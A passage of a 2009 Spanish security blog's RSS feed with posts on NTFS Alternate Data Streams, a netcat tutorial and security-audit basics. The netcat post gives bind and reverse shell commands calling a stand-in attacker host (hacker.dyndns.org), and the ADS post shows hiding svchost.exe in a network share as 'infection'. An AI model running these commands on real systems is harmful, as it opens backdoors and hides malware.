			<wfw:commentRss>http://hack2sec.wordpress.com/2009/04/08/fuzzing/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9a55d4705297e87cd0da58e7947f28ad?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">hack2sec</media:title>
		</media:content>
	</item>
		<item>
		<title>Ocultación de datos en NTFS (ADS)</title>
		<link>http://hack2sec.wordpress.com/2009/04/07/ocultacion-de-datos-en-ntfs-ads/</link>
		<comments>http://hack2sec.wordpress.com/2009/04/07/ocultacion-de-datos-en-ntfs-ads/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 21:20:10 +0000</pubDate>
		<dc:creator>Jathron</dc:creator>
				<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://hack2sec.wordpress.com/?p=46</guid>
		<description><![CDATA[Existe un tema algo oscuro relacionado con la ocultación de datos en un sistema de archivos NTFS, en concreto me refiero a Alternate Data Streams. En resumen se trata de &#8220;anexar&#8221; a cualquier tipo de fichero tanto información como ficheros enteros (Metadatos en el FS NTFS) Normalmente esta caracteristica es empleada por los sistemas de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=46&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Existe un tema algo oscuro relacionado con la ocultación de datos en un sistema de archivos NTFS, en concreto me refiero a Alternate Data Streams.<br />
En resumen se trata de &#8220;anexar&#8221; a cualquier tipo de fichero tanto información como ficheros enteros (Metadatos en el FS NTFS)<br />
Normalmente esta caracteristica es empleada por los sistemas de antivirus para marcar ficheros, estados, incluso una copia del original.<br />
<span id="more-46"></span><br />
Vamos a lo que creo que importa, ¿ como podemos trabajar con los ADS ?.<br />
Bien, os resumo a modo de plantilla algunos comandos para trabajar con dichos Metadatos.</p>
<p>Para incluir el texto &#8220;prueba&#8221; como metadato del fichero hola.txt:<br />
<strong>#echo prueba &gt; hola.txt:datosocultos</strong></p>
<p>Para ver el texto antes introducido como metadato (datosocultos)<br />
<strong>#more &lt; hola.txt:datosocultos</strong></p>
<p>Para incluir un fichero (por ejemplo de ayuda de Windows) como metadato de un hola.txt de 22bytes por ejemplo:<br />
<strong>#type libro.chm &gt; hola.txt:libro.chm</strong><br />
(el fichero libro.chm puede pesar p. ejemplo 2GB y cuando se copie de disco a disco veremos como tarda &#8220;sospechosamente&#8221;,&#8230; esto es por que copia tambien los metadatos que lleva adjuntos (ADS).</p>
<p>Lanzar el libro.chm<br />
<strong>#start .\hola.txt:libro.chm</strong></p>
<p>Así mismo existen posibles metodos para &#8220;infectar&#8221; remotamente ficheros con metadatos:<br />
Infecciones en red utilizando (ADS):<br />
<strong>#type svchost.exe &gt; \\192.168.3.100\datos:svchost.exe</strong> (\datos es una carpeta con permiso de escritura)</p>
<p>Como vemos en el ejemplo anterior se ha anexado como metadato un fichero llamado svchost.exe que puede a su vez ser ejecutado mediante el comando anterior &#8216;start&#8217;.</p>
<p>Utilidades para ver los metadatos:<br />
<strong>#lads  (http://www.heysoft.de)</strong></p>
<p>Existen, para terminar, programas como WinRar que permite ser configurado para comprimir los ficheros con esos mismos metadatos,&#8230; así mismo tambien permite la generación de un ejecutable con un iniciador automático con ocultación de los ficheros comprimidos,&#8230;. vamos todo un Framework de edición de virus si se sabe mezclar adecuadamente los ADS con este tipo de herramientas (aunque parezcan unos simple compresores).</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hack2sec.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hack2sec.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hack2sec.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hack2sec.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hack2sec.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hack2sec.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hack2sec.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hack2sec.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hack2sec.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hack2sec.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hack2sec.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hack2sec.wordpress.com/46/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hack2sec.wordpress.com/46/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hack2sec.wordpress.com/46/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=46&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hack2sec.wordpress.com/2009/04/07/ocultacion-de-datos-en-ntfs-ads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9a55d4705297e87cd0da58e7947f28ad?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">hack2sec</media:title>
		</media:content>
	</item>
		<item>
		<title>NetCat, la navaja suiza de los hackers y administradores</title>
		<link>http://hack2sec.wordpress.com/2009/04/05/netcat-la-navaja-suiza-de-los-hackers-y-administradores/</link>
		<comments>http://hack2sec.wordpress.com/2009/04/05/netcat-la-navaja-suiza-de-los-hackers-y-administradores/#comments</comments>
		<pubDate>Sun, 05 Apr 2009 15:59:44 +0000</pubDate>
		<dc:creator>Jathron</dc:creator>
				<category><![CDATA[Herramientas]]></category>

		<guid isPermaLink="false">http://hack2sec.wordpress.com/?p=41</guid>
		<description><![CDATA[Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=41&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Netcat</strong> (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).</p>
<p>Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente útil a efectos de depuración para aplicaciones de red.<span id="more-41"></span></p>
<p>Ya en desuso, originariamente se trataba de una potentísima herramienta de red para administradores no habiéndose descubierto hasta la fecha el total de los comandos que se utilizaban, los cuales permanecen secretos por las particularidades de esta herramienta.</p>
<p><strong>Introducción<br />
</strong><br />
Básicamente netcat realiza lo siguiente:</p>
<p>Crea una conexión de red (socket) entre dos equipos<br />
Una vez establecida la conexión se puede emplear el canal para transferir Shells remotos, ficheros, etc.</p>
<p><strong>Sintaxis básica</strong><br />
Como cliente:  nc [-opciones] host puerto<br />
Como servidor: nc -l -p puerto [-opciones] [host]</p>
<p><strong>Parámetros básicos</strong></p>
<p>-c shell comandos	similar a parametro `-e&#8217;<br />
-e fichero		programa para ejecutar despues de establecer la conexión<br />
-k                      set keepalive option on socket<br />
-l			modo &#8220;listen&#8221;, para conexiones entrantes<br />
-n			solo direcciones ip, sin resolución de nombres<br />
-o file			volcado hexadecimal del tráfico<br />
-p port			puerto local a utilizar<br />
-r			puerto local aleatorio<br />
-q secs			pausar y salir despues de unos segundos tras recibir una señal de EOF<br />
-s addr			direccion local de origen<br />
-T tos			configura el &#8220;Type Of Service&#8221;<br />
-t			responder a la negociación TELNET<br />
-u			modo UDP<br />
-v			modo verbose [usar -vv para mayor verbose]<br />
-w secs			timeout para las conexiones y finalizar las escuchas de red<br />
-z			modo zero-I/O [utilizado para técnicas de scanning]</p>
<p><strong>Ejemplos de uso:</strong></p>
<p><strong>Transferrencia de ficheros</strong><br />
Receptor de fichero:</p>
<pre>  #nc -l -p 2000 &gt; fichero.recibido</pre>
<p>Emisor del fichero:</p>
<pre>  #nc localhost 2000 &lt; fichero</pre>
<p><strong>Servidor de ECHO</strong></p>
<pre>  #nc -l -p 2000 -e /bin/cat</pre>
<p><strong>Servidor de DAYTIME</strong></p>
<pre>  #nc -l -p 2000 -e /bin/date</pre>
<p><strong>Shell BASH remota</strong></p>
<pre> #nc -l -p 2000 -e /bin/bash</pre>
<p><strong>Shells inversos (Técnica empleada por Hackers)</strong></p>
<p><strong>Servidor Linux atacado:<br />
</strong></p>
<pre> #nc -e /bin/bash -p hacker.dyndns.org 44444</pre>
<p><strong>Servidor Windows atacado:</strong></p>
<pre> #nc -d -e cmd.exe hacker.dyndns.org -p 44444</pre>
<p><strong>Cliente (equipo del hacker):</strong></p>
<pre> #nc -l -p 44444</pre>
<p><strong>Servidor HTTP (monohilo)</strong></p>
<pre> #nc -l -p http -c “cat index.html”</pre>
<p><strong>Streaming AUDIO</strong><br />
Servidor:</p>
<pre> #cat *.mp3 | nc -l -p 2000</pre>
<p>Cliente:</p>
<pre>  #nc server.example.org 2000 | madplay –</pre>
<p><strong>Streaming VIDEO</strong><br />
Servidor:</p>
<pre>  #nc -l -p 2000 &lt; pelicula.avi</pre>
<p>Cliente:</p>
<pre>  #nc server.example.org 2000 | mplayer –</pre>
<p><strong>Clonar un disco remotamente:<br />
</strong>Servidor:</p>
<pre>  #dd if=/dev/sda1 | nc -l -p 2000</pre>
<p>Cliente:</p>
<pre>  #nc server.example.org 2000 | dd of=pendrive.dump
  #mount pendrive.dump -r -t vfat -o loop /mnt/usb</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hack2sec.wordpress.com/41/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hack2sec.wordpress.com/41/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hack2sec.wordpress.com/41/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hack2sec.wordpress.com/41/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hack2sec.wordpress.com/41/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hack2sec.wordpress.com/41/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hack2sec.wordpress.com/41/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hack2sec.wordpress.com/41/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hack2sec.wordpress.com/41/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hack2sec.wordpress.com/41/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hack2sec.wordpress.com/41/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hack2sec.wordpress.com/41/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hack2sec.wordpress.com/41/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hack2sec.wordpress.com/41/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=41&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hack2sec.wordpress.com/2009/04/05/netcat-la-navaja-suiza-de-los-hackers-y-administradores/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9a55d4705297e87cd0da58e7947f28ad?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">hack2sec</media:title>
		</media:content>
	</item>
		<item>
		<title>Auditoría y Seguridad Informática &#8211; parte 2</title>
		<link>http://hack2sec.wordpress.com/2009/03/24/auditoria-y-seguridad-informatica-parte-2/</link>
		<comments>http://hack2sec.wordpress.com/2009/03/24/auditoria-y-seguridad-informatica-parte-2/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 21:02:43 +0000</pubDate>
		<dc:creator>Jathron</dc:creator>
				<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://hack2sec.wordpress.com/?p=9</guid>
		<description><![CDATA[Fortificación Proceso a priori automatizable Dependiente del Rol Aplicación de tres principios: Mínimo Punto de Exposición Mínimo Privilegio Posible Defensa en Profundidad Tipos de defensas: Datos: ACL, cifrado, logging Aplicación: Fortificación de aplicaciones, antivirus Servidor: Firewall, Antimalware, HIDS, &#8230; Red Interna: Segmentación, IPSec, IDSs Perímetro: Firewalls, VPN, NAP, 802.1x Políticas, procedimientos, concienciación: Guardas, cerraduras, sistemas [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=9&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Fortificación</strong></p>
<ul>
<li> Proceso a priori automatizable</li>
<li> Dependiente del Rol</li>
<li> Aplicación de tres principios:</li>
</ul>
<ol>
<ol>
<li> Mínimo Punto de Exposición</li>
<li>Mínimo Privilegio Posible</li>
<li>Defensa en Profundidad</li>
</ol>
</ol>
<p><span id="more-9"></span><br />
<strong>Tipos de defensas:<br />
</strong></p>
<ul>
<li> Datos: ACL, cifrado, logging</li>
<li> Aplicación: Fortificación de aplicaciones, antivirus</li>
<li> Servidor: Firewall, Antimalware, HIDS, &#8230;</li>
<li> Red Interna: Segmentación, IPSec, IDSs</li>
<li> Perímetro: Firewalls, VPN, NAP, 802.1x</li>
</ul>
<p>Políticas, procedimientos, concienciación:<br />
Guardas, cerraduras, sistemas de vigilancia,<br />
Formación de usuarios.</p>
<p><strong>Herramientas</strong></p>
<p style="padding-left:30px;"><strong><span style="text-decoration:underline;">Microsoft</span><br />
</strong></p>
<ul>
<li> Security &amp; Configuration Analysis para Windows Server 2003</li>
<li> Security Configuration Wizzard para 2003 SP1 &amp; Windows Server 2003 R2</li>
<li> Role Configuration para Windows Server 2008</li>
<li> Core Version para Windows Server 2008</li>
</ul>
<p style="padding-left:30px;"><strong> <span style="text-decoration:underline;">Linux</span><br />
</strong></p>
<ul>
<li> Bastille</li>
<li> SELinux</li>
<li> Inmunix</li>
<li> GrSecurity</li>
</ul>
<p style="padding-left:30px;"><strong><span style="text-decoration:underline;">Específicos de productos</span><br />
</strong></p>
<ul>
<li> IIS Lockdown</li>
<li> Módulos apache</li>
</ul>
<p><strong>Test de Intrusión (Penetration Test)<br />
</strong></p>
<ul>
<li> El objetivo es encontrar fallos de seguridad en un sistema</li>
<li> Se busca conocer el “riesgo” en que se encuentra un sistema</li>
<li> No es una auditoría completa</li>
<li> No se buscan todos los fallos</li>
<li> Se busca detectar tendencias</li>
</ul>
<p style="padding-left:30px;">Aspectos importantes antes de empezar</p>
<ul>
<li>Nivel Friendly</li>
<li> Punto de ejecución</li>
<li> Franjas de tiempo</li>
<li> Objetivos/Activos</li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hack2sec.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hack2sec.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hack2sec.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hack2sec.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hack2sec.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hack2sec.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hack2sec.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hack2sec.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hack2sec.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hack2sec.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hack2sec.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hack2sec.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hack2sec.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hack2sec.wordpress.com/9/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=9&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hack2sec.wordpress.com/2009/03/24/auditoria-y-seguridad-informatica-parte-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9a55d4705297e87cd0da58e7947f28ad?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">hack2sec</media:title>
		</media:content>
	</item>
		<item>
		<title>Auditoría y Seguridad Informática &#8211; parte 1</title>
		<link>http://hack2sec.wordpress.com/2009/03/23/auditoria-y-seguridad-informatica-parte-1/</link>
		<comments>http://hack2sec.wordpress.com/2009/03/23/auditoria-y-seguridad-informatica-parte-1/#comments</comments>
		<pubDate>Mon, 23 Mar 2009 23:08:17 +0000</pubDate>
		<dc:creator>Jathron</dc:creator>
				<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://hack2sec.wordpress.com/2009/03/23/auditoria-y-seguridad-informatica-parte-1/</guid>
		<description><![CDATA[Software Seguro, Bug, Exploit, Servicios de Seguridad<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=3&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Software Seguro</strong><strong>Servicios de Seguridad</strong><br />
La teoría, o experiencia, nos dice que un software seguro es aquel que:</p>
<ul>
<li>El software Fiable es aquel que hace lo que se supone que debe hacer.</li>
<li>El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas.</li>
</ul>
<p>Son los sorprendentes “algo mas” los que producen inseguridad.</p>
<ul>
<li> Para estar seguro, se debe ejecutar sólo software perfecto</li>
<li> &#8230;o, hacer algo para mitigar ese “algo mas”<span id="more-3"></span></li>
</ul>
<p><strong>Bug</strong><br />
Tambien nos tiene que quedar claro a que se le llama un Bug.<br />
La wikipedia nos dice que un error de software o computer bug, que significa bicho de computadora, es el resultado de un fallo de programación introducido en el proceso de creación de programas de computadora. El término bug fue acreditado erróneamente a Grace Murray Hopper, una pionera en la historia de la computación, pero Thomas Edison ya lo empleaba en sus trabajos para describir defectos en sistemas mecánicos por el año 1870.</p>
<p><strong>Exploit</strong><br />
Los exploit (viene de to exploit &#8211; aprovechar) es todo código escrito con el fin de aprovechar un error de programación para obtener diversos privilegios. software.<br />
Un buen número de exploits tienen su origen en un conjunto de fallos similares. Algunos de los grupos de vulnerabilidades más conocidos son:</p>
<ul>
<li> Vulnerabilidades de desbordamiento de pila o buffer overflow.</li>
<li>Vulnerabilidades de condición de carrera (Race condition).</li>
<li>Vulnerabilidades de error de formato de cadena (format string bugs).</li>
<li>Vulnerabilidades de Cross Site Scripting (XSS).</li>
<li>Vulnerabilidades de inyección SQL (SQL injection).</li>
<li>Vulnerabilidades de inyeccion de caraceres (CRLF).</li>
</ul>
<p>Tambien ha de dejar claro que NADIE, repito, NADIE se queda a salvo de que le hackeen su página web, ni las grandes corporaciones.<br />
Lás páginas de los partidos politicos lideres en este momento como son la del PSOE y la del PP han sido hackeadas, algunas de Microsoft tambien (experts.microsoft, ieak.microsoft.com, &#8230;), las de diferentes ministerios (vivienda, etc&#8230;), real madrid, proveedores como Jazztel, etc&#8230;</p>
<p><strong>Servicios de Seguridad</strong><br />
a continuación se reflejan algunos de los servicios relacionados con la seguridad informática:</p>
<ul>
<li>Fortificación de sistemas</li>
<li> Test de Intrusión</li>
<li> Auditoría Informática</li>
</ul>
<p>Tipos:</p>
<ul>
<li> Caja Blanca</li>
<li> Caja Negra</li>
</ul>
<p>Puntos de ejecución</p>
<ul>
<li> Otros:</li>
</ul>
<p>Formación, Concienciación, Conocimiento…</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hack2sec.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hack2sec.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hack2sec.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hack2sec.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hack2sec.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hack2sec.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hack2sec.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hack2sec.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hack2sec.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hack2sec.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hack2sec.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hack2sec.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hack2sec.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hack2sec.wordpress.com/3/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=3&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hack2sec.wordpress.com/2009/03/23/auditoria-y-seguridad-informatica-parte-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9a55d4705297e87cd0da58e7947f28ad?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">hack2sec</media:title>
		</media:content>
	</item>
	</channel>
</rss>
